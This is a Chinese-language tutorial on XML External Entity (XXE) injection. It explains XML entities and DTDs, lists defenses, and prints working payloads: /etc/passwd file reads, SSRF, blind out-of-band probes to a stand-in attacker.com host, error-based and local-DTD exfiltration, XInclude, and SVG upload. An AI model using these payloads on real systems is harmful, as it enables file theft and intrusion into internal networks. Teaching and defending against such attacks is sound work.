服务器端漏洞篇之XML外部实体注入(XXE)专题
字数 901 2025-08-10 16:34:34
XML外部实体注入(XXE)漏洞详解
1. XML基础概念
1.1 什么是XML?
XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,使用自定义标签来定义数据结构。虽然现在JSON更流行,但XML仍在许多系统中使用。
1.2 XML实体
XML实体是表示数据项的方式,例如:
- 预定义实体:
<表示<,>表示> - 自定义实体:可以在文档类型定义(DTD)中声明
1.3 文档类型定义(DTD)
DTD(Document Type Definition)定义XML文档的结构和数据类型,可以:
- 在XML文档内部声明(内部DTD)
- 从外部加载(外部DTD)
- 混合使用
2. XML外部实体(XXE)漏洞原理
2.1 XML自定义实体
<!DOCTYPE foo [
<!ENTITY myentity "my entity value">
]>
引用方式:&myentity;
2.2 XML外部实体
使用SYSTEM关键字声明外部实体:
<!DOCTYPE foo [
<!ENTITY ext SYSTEM "http://normal-website.com">
]>
或使用file协议:
<!DOCTYPE foo [
<!ENTITY ext SYSTEM "file:///path/to/file">
]>
3. XXE攻击类型
3.1 获取文件内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&xxe;</productId>
</stockCheck>
3.2 发动SSRF攻击
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/">
]>
3.3 XXE盲打
当响应中不直接显示结果时使用。
3.3.1 带外(OAST)技术探测
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com">
]>
3.3.2 使用XML参数实体
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com">
%xxe;
]>
3.4 通过报错信息泄露数据
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
3.5 复用本地DTD
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;%error;'>
%local_dtd;
]>
4. XXE隐藏攻击面
4.1 XInclude攻击
当无法控制整个XML文档时使用:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
4.2 通过文件上传
上传包含XXE payload的XML格式文件(如SVG图像):
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
4.3 修改Content-Type
将application/x-www-form-urlencoded改为text/xml:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
5. XXE漏洞防御
- 禁用外部实体解析:配置XML解析器禁用外部实体
- 禁用XInclude支持:防止XInclude攻击
- 使用更安全的数据格式:如JSON
- 输入验证:对用户提供的XML进行严格验证
- 最小化XML功能:仅启用必要的XML功能
6. 总结
XXE漏洞危害严重,可导致:
- 敏感文件读取
- 服务器端请求伪造(SSRF)
- 远程代码执行
- 拒绝服务攻击
防御关键在于正确配置XML解析器并限制其功能。开发人员应了解XXE风险并在设计阶段就考虑安全措施。